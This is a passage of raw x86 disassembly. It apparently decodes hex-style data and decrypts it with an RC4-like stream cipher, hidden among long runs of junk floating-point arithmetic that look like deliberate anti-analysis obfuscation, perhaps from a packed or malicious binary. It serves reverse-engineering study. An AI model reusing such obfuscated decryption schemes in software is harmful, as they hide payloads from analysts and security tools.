movss dword [ebp - 0x3434], xmm0
movss xmm0, dword [ebp - 0x3434]
mulss xmm0, dword [ebp - 0x33d4]
movss dword [ebp - 0x3434], xmm0
jmp 0x441e69
movss xmm0, dword [ebp - 0x3428]
mulss xmm0, dword [ebp - 0x3434]
movss dword [ebp - 0x3428], xmm0
movss xmm0, dword [ebp - 0x3570]
subss xmm0, dword [ebp - 0x34a8]
movss dword [ebp - 0x3570], xmm0
movss xmm0, dword [ebp - 0x3814]
addss xmm0, dword [ebp - 0x33d4]
movss dword [ebp - 0x3814], xmm0
movss xmm0, dword [ebp - 0x3814]
addss xmm0, dword [ebp - 0x33d4]
movss dword [ebp - 0x3814], xmm0
movss xmm0, dword [ebp - 0x3428]
subss xmm0, dword [ebp - 0x3434]
movss dword [ebp - 0x3428], xmm0
movss xmm0, dword [ebp - 0x34a8]
addss xmm0, dword [ebp - 0x3814]
movss dword [ebp - 0x34a8], xmm0
movss xmm0, dword [ebp - 0x3574]
mulss xmm0, dword [ebp - 0x3428]
movss dword [ebp - 0x3574], xmm0
jmp 0x441f16
movss xmm0, dword [ebp - 0x3434]
divss xmm0, dword [ebp - 0x33d4]
movss dword [ebp - 0x3434], xmm0
movss xmm0, dword [ebp - 0x34a8]
subss xmm0, dword [ebp - 0x3428]
movss dword [ebp - 0x34a8], xmm0
movss xmm0, dword [ebp - 0x33d4]
divss xmm0, dword [ebp - 0x3570]
movss dword [ebp - 0x33d4], xmm0
movss xmm0, dword [ebp - 0x3570]
mulss xmm0, dword [ebp - 0x3574]
movss dword [ebp - 0x3570], xmm0
movss xmm0, dword [ebp - 0x3428]
mulss xmm0, dword [ebp - 0x3814]
movss dword [ebp - 0x3428], xmm0
movss xmm0, dword [ebp - 0x3434]
subss xmm0, dword [ebp - 0x33d4]
movss dword [ebp - 0x3434], xmm0
movss xmm0, dword [ebp - 0x3814]
divss xmm0, dword [ebp - 0x3434]
movss dword [ebp - 0x3814], xmm0
jmp 0x441fcf
movss xmm0, dword [ebp - 0x3434]
mulss xmm0, dword [ebp - 0x3570]
movss dword [ebp - 0x3434], xmm0
movss xmm0, dword [ebp - 0x3570]
subss xmm0, dword [ebp - 0x34a8]
movss dword [ebp - 0x3570], xmm0
movss xmm0, dword [ebp - 0x33d4]
subss xmm0, dword [ebp - 0x3574]
movss dword [ebp - 0x33d4], xmm0
movss xmm0, dword [ebp - 0x3434]
mulss xmm0, dword [ebp - 0x3570]
movss dword [ebp - 0x3434], xmm0
movss xmm0, dword [ebp - 0x3574]
subss xmm0, dword [ebp - 0x3428]
movss dword [ebp - 0x3574], xmm0
movss xmm0, dword [ebp - 0x3574]
mulss xmm0, dword [ebp - 0x3428]
movss dword [ebp - 0x3574], xmm0
movss xmm0, dword [ebp - 0x33d4]
mulss xmm0, dword [ebp - 0x3574]
movss dword [ebp - 0x33d4], xmm0
mov dl, byte [ebp - 0x3270]
mov byte [ebp - 0x330e], dl
cmp dword [ebp - 0x3344], 0
jle 0x441fee
movsx ax, byte [ebp - 0x330e]
mov ecx, dword [ebp - 0x3344]
mov word [ebp + ecx*2 - 0x452], ax
jmp 0x4416db
mov edx, dword [ebp - 0x34e4]
add edx, 1
mov dword [ebp - 0x34e4], edx
mov eax, dword [ebp - 0x3344]
add eax, 1
mov dword [ebp - 0x3344], eax
mov ecx, dword [ebp - 0x34e4]
add ecx, 1
mov dword [ebp - 0x34e4], ecx
mov edx, dword [ebp - 0x3344]
shl edx, 1
mov dword [ebp - 0x36d8], edx
mov eax, dword [ebp - 0x36d4]
add eax, dword [ebp - 0x36d8]
movzx ecx, byte [eax]
mov dword [ebp - 0x36bc], ecx
mov dword [ebp - 0x36b8], 0xdd
mov edx, dword [ebp - 0x3344]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3760], eax
mov ecx, dword [ebp - 0x36d4]
add ecx, dword [ebp - 0x3760]
movzx edx, byte [ecx]
mov dword [ebp - 0x36b4], edx
mov dword [ebp - 0x36b0], 0xac
mov eax, dword [ebp - 0x36bc]
sub eax, dword [ebp - 0x36b8]
mov dword [ebp - 0x36ac], eax
mov ecx, dword [ebp - 0x36b4]
sub ecx, dword [ebp - 0x36b0]
mov dword [ebp - 0x36a8], ecx
mov edx, dword [ebp - 0x36ac]
shl edx, 4
mov dword [ebp - 0x36cc], edx
mov eax, dword [ebp - 0x36a8]
mov dword [ebp - 0x36ec], eax
mov ecx, dword [ebp - 0x36cc]
or ecx, dword [ebp - 0x36ec]
mov dword [ebp - 0x36f4], ecx
mov dl, byte [ebp - 0x36f4]
mov byte [ebp - 0x32bc], dl
movzx eax, byte [ebp - 0x328e]
mov cl, byte [ebp + eax - 0x4f7c]
mov byte [ebp - 0x32bb], cl
movss xmm0, dword [0xa67448]
movss dword [ebp - 0x3fb4], xmm0
movss xmm0, dword [0xa67360]
movss dword [ebp - 0x43e4], xmm0
movss xmm0, dword [0xa671fc]
movss dword [ebp - 0x42b4], xmm0
movss xmm0, dword [0xa67098]
movss dword [ebp - 0x3eec], xmm0
movss xmm0, dword [ebp - 0x42b4]
mulss xmm0, dword [ebp - 0x3eec]
movss dword [ebp - 0x42b4], xmm0
movss xmm0, dword [ebp - 0x3fb4]
subss xmm0, dword [ebp - 0x3eec]
movss dword [ebp - 0x3fb4], xmm0
movss xmm0, dword [ebp - 0x42b4]
addss xmm0, dword [ebp - 0x3eec]
movss dword [ebp - 0x42b4], xmm0
movss xmm0, dword [ebp - 0x3fb4]
mulss xmm0, dword [ebp - 0x3eec]
movss dword [ebp - 0x3fb4], xmm0
movss xmm0, dword [ebp - 0x3eec]
comiss xmm0, dword [ebp - 0x3fb4]
jbe 0x442203
movss xmm0, dword [ebp - 0x43e4]
subss xmm0, dword [ebp - 0x42b4]
movss dword [ebp - 0x43e4], xmm0
movss xmm0, dword [ebp - 0x43e4]
addss xmm0, dword [ebp - 0x42b4]
movss dword [ebp - 0x43e4], xmm0
movss xmm0, dword [ebp - 0x3eec]
subss xmm0, dword [ebp - 0x3fb4]
movss dword [ebp - 0x3eec], xmm0
movss xmm0, dword [ebp - 0x3eec]
addss xmm0, dword [ebp - 0x3fb4]
movss dword [ebp - 0x3eec], xmm0
jmp 0x442290
movss xmm0, dword [ebp - 0x3fb4]
addss xmm0, dword [ebp - 0x42b4]
movss dword [ebp - 0x3fb4], xmm0
movss xmm0, dword [ebp - 0x3fb4]
addss xmm0, dword [ebp - 0x42b4]
movss dword [ebp - 0x3fb4], xmm0
movss xmm0, dword [ebp - 0x3eec]
subss xmm0, dword [ebp - 0x43e4]
movss dword [ebp - 0x3eec], xmm0
movss xmm0, dword [ebp - 0x43e4]
addss xmm0, dword [ebp - 0x3eec]
movss dword [ebp - 0x43e4], xmm0
movzx edx, byte [ebp - 0x3267]
movzx eax, byte [ebp + edx - 0x4f7c]
movzx ecx, byte [ebp - 0x3278]
add ecx, eax
mov byte [ebp - 0x3278], cl
mov dl, byte [ebp - 0x3267]
add dl, 1
mov byte [ebp - 0x3267], dl
movzx eax, byte [ebp - 0x3278]
movzx ecx, byte [ebp - 0x328e]
mov dl, byte [ebp + eax - 0x4f7c]
mov byte [ebp + ecx - 0x4f7c], dl
movzx eax, byte [ebp - 0x3270]
movzx ecx, byte [ebp - 0x3278]
mov dl, byte [ebp + eax - 0x4f7c]
mov byte [ebp + ecx - 0x4f7c], dl
movzx eax, byte [ebp - 0x3267]
movzx ecx, byte [ebp - 0x3270]
mov dl, byte [ebp + eax - 0x4f7c]
mov byte [ebp + ecx - 0x4f7c], dl
movzx eax, byte [ebp - 0x3267]
mov cl, byte [ebp - 0x32bb]
mov byte [ebp + eax - 0x4f7c], cl
movzx edx, byte [ebp - 0x32bb]
movzx eax, byte [ebp + edx - 0x4f7c]
movzx ecx, byte [ebp - 0x32c7]
add ecx, eax
mov byte [ebp - 0x32c7], cl
movzx edx, byte [ebp - 0x32bc]
movzx eax, byte [ebp - 0x3278]
movzx ecx, byte [ebp + eax - 0x4f7c]
movzx eax, byte [ebp - 0x3267]
movzx eax, byte [ebp + eax - 0x4f7c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x4f7c]
xor edx, ecx
movzx eax, byte [ebp - 0x3270]
movzx ecx, byte [ebp + eax - 0x4f7c]
movzx eax, byte [ebp - 0x328e]
movzx eax, byte [ebp + eax - 0x4f7c]
add ecx, eax
movzx eax, byte [ebp - 0x32c7]
movzx eax, byte [ebp + eax - 0x4f7c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x4f7c]
movzx eax, byte [ebp + ecx - 0x4f7c]
xor edx, eax
mov byte [ebp - 0x3270], dl
mov cl, byte [ebp - 0x32bc]
mov byte [ebp - 0x328e], cl
mov dl, byte [ebp - 0x3270]
mov byte [ebp - 0x330e], dl
cmp dword [ebp - 0x3344], 0
jle 0x4423d3
movsx ax, byte [ebp - 0x330e]
mov ecx, dword [ebp - 0x3344]
mov word [ebp + ecx*2 - 0x452], ax
mov edx, dword [ebp - 0x3344]
add edx, 1
mov dword [ebp - 0x3344], edx
mov eax, dword [ebp - 0x34e4]
add eax, 1
mov dword [ebp - 0x34e4], eax
mov ecx, dword [ebp - 0x3344]
shl ecx, 1
mov dword [ebp - 0x36d8], ecx
mov edx, dword [ebp - 0x36d4]
add edx, dword [ebp - 0x36d8]
movzx eax, byte [edx]
mov dword [ebp - 0x36bc], eax
mov dword [ebp - 0x36b8], 0xdd
mov ecx, dword [ebp - 0x3344]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3760], edx
mov eax, dword [ebp - 0x36d4]
add eax, dword [ebp - 0x3760]
movzx ecx, byte [eax]
mov dword [ebp - 0x36b4], ecx
mov dword [ebp - 0x36b0], 0xac
mov edx, dword [ebp - 0x36bc]
sub edx, dword [ebp - 0x36b8]
mov dword [ebp - 0x36ac], edx
mov eax, dword [ebp - 0x36b4]
sub eax, dword [ebp - 0x36b0]
mov dword [ebp - 0x36a8], eax
mov ecx, dword [ebp - 0x36ac]
shl ecx, 4
mov dword [ebp - 0x36cc], ecx
mov edx, dword [ebp - 0x36a8]
mov dword [ebp - 0x36ec], edx
mov eax, dword [ebp - 0x36cc]
or eax, dword [ebp - 0x36ec]
mov dword [ebp - 0x36f4], eax
mov cl, byte [ebp - 0x36f4]
mov byte [ebp - 0x32bc], cl
movzx edx, byte [ebp - 0x328e]
mov al, byte [ebp + edx - 0x4f7c]
mov byte [ebp - 0x32bb], al
movzx ecx, byte [ebp - 0x3267]
movzx edx, byte [ebp + ecx - 0x4f7c]
movzx eax, byte [ebp - 0x3278]
add eax, edx
mov byte [ebp - 0x3278], al
mov cl, byte [ebp - 0x3267]
add cl, 1
mov byte [ebp - 0x3267], cl
movzx edx, byte [ebp - 0x3278]
movzx eax, byte [ebp - 0x328e]
mov cl, byte [ebp + edx - 0x4f7c]
mov byte [ebp + eax - 0x4f7c], cl
movzx edx, byte [ebp - 0x3270]
movzx eax, byte [ebp - 0x3278]
mov cl, byte [ebp + edx - 0x4f7c]
mov byte [ebp + eax - 0x4f7c], cl
movzx edx, byte [ebp - 0x3267]
movzx eax, byte [ebp - 0x3270]
mov cl, byte [ebp + edx - 0x4f7c]
mov byte [ebp + eax - 0x4f7c], cl
movzx edx, byte [ebp - 0x3267]
mov al, byte [ebp - 0x32bb]
mov byte [ebp + edx - 0x4f7c], al
movzx ecx, byte [ebp - 0x32bb]
movzx edx, byte [ebp + ecx - 0x4f7c]
movzx eax, byte [ebp - 0x32c7]
add eax, edx
mov byte [ebp - 0x32c7], al
movzx ecx, byte [ebp - 0x32bc]
movzx edx, byte [ebp - 0x3278]
movzx eax, byte [ebp + edx - 0x4f7c]
movzx edx, byte [ebp - 0x3267]
movzx edx, byte [ebp + edx - 0x4f7c]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x4f7c]
xor ecx, eax
movzx edx, byte [ebp - 0x3270]
movzx eax, byte [ebp + edx - 0x4f7c]
movzx edx, byte [ebp - 0x328e]
movzx edx, byte [ebp + edx - 0x4f7c]
add eax, edx
movzx edx, byte [ebp - 0x32c7]
movzx edx, byte [ebp + edx - 0x4f7c]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x4f7c]
movzx edx, byte [ebp + eax - 0x4f7c]
xor ecx, edx
mov byte [ebp - 0x3270], cl
mov al, byte [ebp - 0x32bc]
mov byte [ebp - 0x328e], al
mov cl, byte [ebp - 0x3270]
mov byte [ebp - 0x330e], cl
cmp dword [ebp - 0x3344], 0
jle 0x44262c
movsx dx, byte [ebp - 0x330e]
mov eax, dword [ebp - 0x3344]
mov word [ebp + eax*2 - 0x452], dx
mov ecx, dword [ebp - 0x34e4]
add ecx, 0x1e
mov dword [ebp - 0x34e4], ecx
mov edx, dword [ebp - 0x3344]
add edx, 1
mov dword [ebp - 0x4a80], edx
jmp 0x44265b
mov eax, dword [ebp - 0x4a80]
add eax, 1
mov dword [ebp - 0x4a80], eax
mov ecx, dword [ebp - 0x4a80]
cmp ecx, dword [ebp - 0x34e4]
jge 0x4429d9
mov edx, dword [ebp - 0x3344]
add edx, 1
mov dword [ebp - 0x3344], edx
mov eax, dword [ebp - 0x3344]
shl eax, 1
mov dword [ebp - 0x36d8], eax
mov ecx, dword [ebp - 0x36d4]
add ecx, dword [ebp - 0x36d8]
movzx edx, byte [ecx]
mov dword [ebp - 0x36bc], edx
mov dword [ebp - 0x36b8], 0xdd
mov eax, dword [ebp - 0x3344]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3760], ecx
mov edx, dword [ebp - 0x36d4]
add edx, dword [ebp - 0x3760]
movzx eax, byte [edx]
mov dword [ebp - 0x36b4], eax
mov dword [ebp - 0x36b0], 0xac
mov ecx, dword [ebp - 0x36bc]
sub ecx, dword [ebp - 0x36b8]
mov dword [ebp - 0x36ac], ecx
mov edx, dword [ebp - 0x36b4]
sub edx, dword [ebp - 0x36b0]
mov dword [ebp - 0x36a8], edx
mov eax, dword [ebp - 0x36ac]
shl eax, 4
mov dword [ebp - 0x36cc], eax
mov ecx, dword [ebp - 0x36a8]
mov dword [ebp - 0x36ec], ecx
mov edx, dword [ebp - 0x36cc]
or edx, dword [ebp - 0x36ec]
mov dword [ebp - 0x36f4], edx
mov al, byte [ebp - 0x36f4]
mov byte [ebp - 0x32bc], al
movzx ecx, byte [ebp - 0x328e]
mov dl, byte [ebp + ecx - 0x4f7c]
mov byte [ebp - 0x32bb], dl
movsd xmm0, qword [0xa66f30]
movsd qword [ebp - 0x4d34], xmm0
movsd xmm0, qword [0xa66d40]
movsd qword [ebp - 0x47dc], xmm0
movsd xmm0, qword [0xa66a28]
movsd qword [ebp - 0x4470], xmm0
movsd xmm0, qword [ebp - 0x47dc]
subsd xmm0, qword [ebp - 0x4470]
movsd qword [ebp - 0x47dc], xmm0
movsd xmm0, qword [ebp - 0x47dc]
addsd xmm0, qword [ebp - 0x4470]
movsd qword [ebp - 0x47dc], xmm0
movsd xmm0, qword [ebp - 0x47dc]
addsd xmm0, qword [ebp - 0x4470]
movsd qword [ebp - 0x47dc], xmm0
movsd xmm0, qword [ebp - 0x47dc]
comisd xmm0, xmmword [ebp - 0x4470]
jbe 0x442849
movsd xmm0, qword [ebp - 0x47dc]
subsd xmm0, qword [ebp - 0x4470]
movsd qword [ebp - 0x47dc], xmm0
movsd xmm0, qword [ebp - 0x4d34]
mulsd xmm0, qword [ebp - 0x47dc]
movsd qword [ebp - 0x4d34], xmm0
movsd xmm0, qword [ebp - 0x4470]
addsd xmm0, qword [ebp - 0x4d34]
movsd qword [ebp - 0x4470], xmm0
movzx eax, byte [ebp - 0x3267]
movzx ecx, byte [ebp + eax - 0x4f7c]
movzx edx, byte [ebp - 0x3278]
add edx, ecx
mov byte [ebp - 0x3278], dl
mov al, byte [ebp - 0x3267]
add al, 1
mov byte [ebp - 0x3267], al
jmp 0x442891
movsd xmm0, qword [ebp - 0x4470]
divsd xmm0, qword [ebp - 0x4d34]
movsd qword [ebp - 0x4470], xmm0
movsd xmm0, qword [ebp - 0x4470]
subsd xmm0, qword [ebp - 0x4d34]
movsd qword [ebp - 0x4470], xmm0
movsd xmm0, qword [ebp - 0x4470]
divsd xmm0, qword [ebp - 0x4d34]
movsd qword [ebp - 0x4470], xmm0
movzx ecx, byte [ebp - 0x3278]
movzx edx, byte [ebp - 0x328e]
mov al, byte [ebp + ecx - 0x4f7c]
mov byte [ebp + edx - 0x4f7c], al
movzx ecx, byte [ebp - 0x3270]
movzx edx, byte [ebp - 0x3278]
mov al, byte [ebp + ecx - 0x4f7c]
mov byte [ebp + edx - 0x4f7c], al
movzx ecx, byte [ebp - 0x3267]
movzx edx, byte [ebp - 0x3270]
mov al, byte [ebp + ecx - 0x4f7c]
mov byte [ebp + edx - 0x4f7c], al
movzx ecx, byte [ebp - 0x3267]
mov dl, byte [ebp - 0x32bb]
mov byte [ebp + ecx - 0x4f7c], dl
movzx eax, byte [ebp - 0x32bb]
movzx ecx, byte [ebp + eax - 0x4f7c]
movzx edx, byte [ebp - 0x32c7]
add edx, ecx
mov byte [ebp - 0x32c7], dl
movzx eax, byte [ebp - 0x32bc]
movzx ecx, byte [ebp - 0x3278]
movzx edx, byte [ebp + ecx - 0x4f7c]
movzx ecx, byte [ebp - 0x3267]
movzx ecx, byte [ebp + ecx - 0x4f7c]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x4f7c]
xor eax, edx
movzx ecx, byte [ebp - 0x3270]
movzx edx, byte [ebp + ecx - 0x4f7c]
movzx ecx, byte [ebp - 0x328e]
movzx ecx, byte [ebp + ecx - 0x4f7c]
add edx, ecx
movzx ecx, byte [ebp - 0x32c7]
movzx ecx, byte [ebp + ecx - 0x4f7c]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x4f7c]
movzx ecx, byte [ebp + edx - 0x4f7c]
xor eax, ecx
mov byte [ebp - 0x3270], al
mov dl, byte [ebp - 0x32bc]
mov byte [ebp - 0x328e], dl
mov al, byte [ebp - 0x3270]
mov byte [ebp - 0x330e], al
cmp dword [ebp - 0x3344], 0
jle 0x4429d4
movsx cx, byte [ebp - 0x330e]
mov edx, dword [ebp - 0x3344]
mov word [ebp + edx*2 - 0x452], cx
jmp 0x44264c
mov eax, dword [ebp - 0x34e4]
add eax, 1
mov dword [ebp - 0x34e4], eax
mov ecx, dword [ebp - 0x3344]
add ecx, 1
mov dword [ebp - 0x3344], ecx
mov edx, dword [ebp - 0x34e4]
add edx, 1
mov dword [ebp - 0x34e4], edx
mov eax, dword [ebp - 0x3344]
shl eax, 1
mov dword [ebp - 0x36d8], eax
mov ecx, dword [ebp - 0x36d4]
add ecx, dword [ebp - 0x36d8]
movzx edx, byte [ecx]
mov dword [ebp - 0x36bc], edx
mov dword [ebp - 0x36b8], 0xdd
mov eax, dword [ebp - 0x3344]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3760], ecx
mov edx, dword [ebp - 0x36d4]
add edx, dword [ebp - 0x3760]
movzx eax, byte [edx]
mov dword [ebp - 0x36b4], eax
mov dword [ebp - 0x36b0], 0xac
mov ecx, dword [ebp - 0x36bc]
sub ecx, dword [ebp - 0x36b8]
mov dword [ebp - 0x36ac], ecx
mov edx, dword [ebp - 0x36b4]
sub edx, dword [ebp - 0x36b0]
mov dword [ebp - 0x36a8], edx
mov eax, dword [ebp - 0x36ac]
shl eax, 4
mov dword [ebp - 0x36cc], eax
mov ecx, dword [ebp - 0x36a8]
mov dword [ebp - 0x36ec], ecx
mov edx, dword [ebp - 0x36cc]
or edx, dword [ebp - 0x36ec]
mov dword [ebp - 0x36f4], edx
mov al, byte [ebp - 0x36f4]
mov byte [ebp - 0x32bc], al
movzx ecx, byte [ebp - 0x328e]
mov dl, byte [ebp + ecx - 0x4f7c]
mov byte [ebp - 0x32bb], dl
movzx eax, byte [ebp - 0x3267]
movzx ecx, byte [ebp + eax - 0x4f7c]
movzx edx, byte [ebp - 0x3278]
add edx, ecx
mov byte [ebp - 0x3278], dl
mov al, byte [ebp - 0x3267]
add al, 1
mov byte [ebp - 0x3267], al
movzx ecx, byte [ebp - 0x3278]
movzx edx, byte [ebp - 0x328e]
mov al, byte [ebp + ecx - 0x4f7c]
mov byte [ebp + edx - 0x4f7c], al
movzx ecx, byte [ebp - 0x3270]
movzx edx, byte [ebp - 0x3278]
mov al, byte [ebp + ecx - 0x4f7c]
mov byte [ebp + edx - 0x4f7c], al
movzx ecx, byte [ebp - 0x3267]
movzx edx, byte [ebp - 0x3270]
mov al, byte [ebp + ecx - 0x4f7c]
mov byte [ebp + edx - 0x4f7c], al
movzx ecx, byte [ebp - 0x3267]
mov dl, byte [ebp - 0x32bb]
mov byte [ebp + ecx - 0x4f7c], dl
movzx eax, byte [ebp - 0x32bb]
movzx ecx, byte [ebp + eax - 0x4f7c]
movzx edx, byte [ebp - 0x32c7]
add edx, ecx
mov byte [ebp - 0x32c7], dl
movzx eax, byte [ebp - 0x32bc]
movzx ecx, byte [ebp - 0x3278]
movzx edx, byte [ebp + ecx - 0x4f7c]
movzx ecx, byte [ebp - 0x3267]
movzx ecx, byte [ebp + ecx - 0x4f7c]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x4f7c]
xor eax, edx
movzx ecx, byte [ebp - 0x3270]
movzx edx, byte [ebp + ecx - 0x4f7c]
movzx ecx, byte [ebp - 0x328e]
movzx ecx, byte [ebp + ecx - 0x4f7c]
add edx, ecx
movzx ecx, byte [ebp - 0x32c7]
movzx ecx, byte [ebp + ecx - 0x4f7c]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x4f7c]
movzx ecx, byte [ebp + edx - 0x4f7c]
xor eax, ecx
mov byte [ebp - 0x3270], al
mov dl, byte [ebp - 0x32bc]
mov byte [ebp - 0x328e], dl
mov al, byte [ebp - 0x3270]
mov byte [ebp - 0x330e], al
cmp dword [ebp - 0x3344], 0
jle 0x442c42
movsx cx, byte [ebp - 0x330e]
mov edx, dword [ebp - 0x3344]
mov word [ebp + edx*2 - 0x452], cx
mov eax, dword [ebp - 0x3344]
add eax, 1
mov dword [ebp - 0x3344], eax
mov ecx, dword [ebp - 0x34e4]
add ecx, 1
mov dword [ebp - 0x34e4], ecx
mov edx, dword [ebp - 0x3344]
shl edx, 1
mov dword [ebp - 0x36d8], edx
mov eax, dword [ebp - 0x36d4]
add eax, dword [ebp - 0x36d8]
movzx ecx, byte [eax]
mov dword [ebp - 0x36bc], ecx
mov dword [ebp - 0x36b8], 0xdd
mov edx, dword [ebp - 0x3344]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3760], eax
mov ecx, dword [ebp - 0x36d4]
add ecx, dword [ebp - 0x3760]
movzx edx, byte [ecx]
mov dword [ebp - 0x36b4], edx
mov dword [ebp - 0x36b0], 0xac
mov eax, dword [ebp - 0x36bc]
sub eax, dword [ebp - 0x36b8]
mov dword [ebp - 0x36ac], eax
mov ecx, dword [ebp - 0x36b4]
sub ecx, dword [ebp - 0x36b0]
mov dword [ebp - 0x36a8], ecx
mov edx, dword [ebp - 0x36ac]
shl edx, 4
mov dword [ebp - 0x36cc], edx
mov eax, dword [ebp - 0x36a8]
mov dword [ebp - 0x36ec], eax
mov ecx, dword [ebp - 0x36cc]
or ecx, dword [ebp - 0x36ec]
mov dword [ebp - 0x36f4], ecx
mov dl, byte [ebp - 0x36f4]
mov byte [ebp - 0x32bc], dl
movzx eax, byte [ebp - 0x328e]
mov cl, byte [ebp + eax - 0x4f7c]
mov byte [ebp - 0x32bb], cl
movzx edx, byte [ebp - 0x3267]
movzx eax, byte [ebp + edx - 0x4f7c]
movzx ecx, byte [ebp - 0x3278]
add ecx, eax
mov byte [ebp - 0x3278], cl
mov dl, byte [ebp - 0x3267]
add dl, 1
mov byte [ebp - 0x3267], dl
movzx eax, byte [ebp - 0x3278]
movzx ecx, byte [ebp - 0x328e]
mov dl, byte [ebp + eax - 0x4f7c]
mov byte [ebp + ecx - 0x4f7c], dl
movzx eax, byte [ebp - 0x3270]
movzx ecx, byte [ebp - 0x3278]
mov dl, byte [ebp + eax - 0x4f7c]
mov byte [ebp + ecx - 0x4f7c], dl
movzx eax, byte [ebp - 0x3267]
movzx ecx, byte [ebp - 0x3270]
mov dl, byte [ebp + eax - 0x4f7c]
mov byte [ebp + ecx - 0x4f7c], dl
movzx eax, byte [ebp - 0x3267]
mov cl, byte [ebp - 0x32bb]
mov byte [ebp + eax - 0x4f7c], cl
movzx edx, byte [ebp - 0x32bb]
movzx eax, byte [ebp + edx - 0x4f7c]
movzx ecx, byte [ebp - 0x32c7]
add ecx, eax
mov byte [ebp - 0x32c7], cl
movzx edx, byte [ebp - 0x32bc]
movzx eax, byte [ebp - 0x3278]
movzx ecx, byte [ebp + eax - 0x4f7c]
movzx eax, byte [ebp - 0x3267]
movzx eax, byte [ebp + eax - 0x4f7c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x4f7c]
xor edx, ecx
movzx eax, byte [ebp - 0x3270]
movzx ecx, byte [ebp + eax - 0x4f7c]
movzx eax, byte [ebp - 0x328e]
movzx eax, byte [ebp + eax - 0x4f7c]
add ecx, eax
movzx eax, byte [ebp - 0x32c7]
movzx eax, byte [ebp + eax - 0x4f7c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x4f7c]
movzx eax, byte [ebp + ecx - 0x4f7c]
xor edx, eax
mov byte [ebp - 0x3270], dl
mov cl, byte [ebp - 0x32bc]
mov byte [ebp - 0x328e], cl
mov dl, byte [ebp - 0x3270]
mov byte [ebp - 0x330e], dl
cmp dword [ebp - 0x3344], 0
jle 0x442e9d
movsx ax, byte [ebp - 0x330e]
mov ecx, dword [ebp - 0x3344]
mov word [ebp + ecx*2 - 0x452], ax
mov edx, dword [ebp - 0x3344]
add edx, 1
mov dword [ebp - 0x3344], edx
mov eax, dword [ebp - 0x34e4]
add eax, 1
mov dword [ebp - 0x34e4], eax
mov ecx, dword [ebp - 0x3344]
shl ecx, 1
mov dword [ebp - 0x36d8], ecx
mov edx, dword [ebp - 0x36d4]
add edx, dword [ebp - 0x36d8]
movzx eax, byte [edx]
mov dword [ebp - 0x36bc], eax
mov dword [ebp - 0x36b8], 0xdd
mov ecx, dword [ebp - 0x3344]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3760], edx
mov eax, dword [ebp - 0x36d4]
add eax, dword [ebp - 0x3760]
movzx ecx, byte [eax]
mov dword [ebp - 0x36b4], ecx
mov dword [ebp - 0x36b0], 0xac
mov edx, dword [ebp - 0x36bc]
sub edx, dword [ebp - 0x36b8]
mov dword [ebp - 0x36ac], edx
mov eax, dword [ebp - 0x36b4]
sub eax, dword [ebp - 0x36b0]
mov dword [ebp - 0x36a8], eax
mov ecx, dword [ebp - 0x36ac]
shl ecx, 4
mov dword [ebp - 0x36cc], ecx
mov edx, dword [ebp - 0x36a8]
mov dword [ebp - 0x36ec], edx
mov eax, dword [ebp - 0x36cc]
or eax, dword [ebp - 0x36ec]
mov dword [ebp - 0x36f4], eax
mov cl, byte [ebp - 0x36f4]
mov byte [ebp - 0x32bc], cl
movss xmm0, dword [0xa674a0]
movss dword [ebp - 0x43e0], xmm0
movss xmm0, dword [0xa673e8]
movss dword [ebp - 0x41d0], xmm0
movss xmm0, dword [0xa67280]
movss dword [ebp - 0x4164], xmm0
movss xmm0, dword [0xa670e8]
movss dword [ebp - 0x3ef0], xmm0
movss xmm0, dword [ebp - 0x41d0]
subss xmm0, dword [ebp - 0x3ef0]
movss dword [ebp - 0x41d0], xmm0
movss xmm0, dword [ebp - 0x41d0]
addss xmm0, dword [ebp - 0x3ef0]
movss dword [ebp - 0x41d0], xmm0
movss xmm0, dword [ebp - 0x4164]
addss xmm0, dword [ebp - 0x3ef0]
movss dword [ebp - 0x4164], xmm0
movss xmm0, dword [ebp - 0x4164]
subss xmm0, dword [ebp - 0x3ef0]
movss dword [ebp - 0x4164], xmm0
movss xmm0, dword [ebp - 0x43e0]
comiss xmm0, dword [ebp - 0x3ef0]
jbe 0x44309b
movss xmm0, dword [ebp - 0x43e0]
addss xmm0, dword [ebp - 0x4164]
movss dword [ebp - 0x43e0], xmm0
movss xmm0, dword [ebp - 0x4164]
addss xmm0, dword [ebp - 0x43e0]
movss dword [ebp - 0x4164], xmm0
movss xmm0, dword [ebp - 0x43e0]
mulss xmm0, dword [ebp - 0x4164]
movss dword [ebp - 0x43e0], xmm0
movss xmm0, dword [ebp - 0x4164]
addss xmm0, dword [ebp - 0x43e0]
movss dword [ebp - 0x4164], xmm0
movzx edx, byte [ebp - 0x328e]
mov al, byte [ebp + edx - 0x4f7c]
mov byte [ebp - 0x32bb], al
jmp 0x4430fb
movss xmm0, dword [ebp - 0x41d0]
subss xmm0, dword [ebp - 0x3ef0]
movss dword [ebp - 0x41d0], xmm0
movss xmm0, dword [ebp - 0x3ef0]
addss xmm0, dword [ebp - 0x41d0]
movss dword [ebp - 0x3ef0], xmm0
movss xmm0, dword [ebp - 0x3ef0]
divss xmm0, dword [ebp - 0x41d0]
movss dword [ebp - 0x3ef0], xmm0
movss xmm0, dword [ebp - 0x3ef0]
addss xmm0, dword [ebp - 0x41d0]
movss dword [ebp - 0x3ef0], xmm0
movzx ecx, byte [ebp - 0x3267]
movzx edx, byte [ebp + ecx - 0x4f7c]
movzx eax, byte [ebp - 0x3278]
add eax, edx
mov byte [ebp - 0x3278], al
mov cl, byte [ebp - 0x3267]
add cl, 1
mov byte [ebp - 0x3267], cl
movzx edx, byte [ebp - 0x3278]
movzx eax, byte [ebp - 0x328e]
mov cl, byte [ebp + edx - 0x4f7c]
mov byte [ebp + eax - 0x4f7c], cl
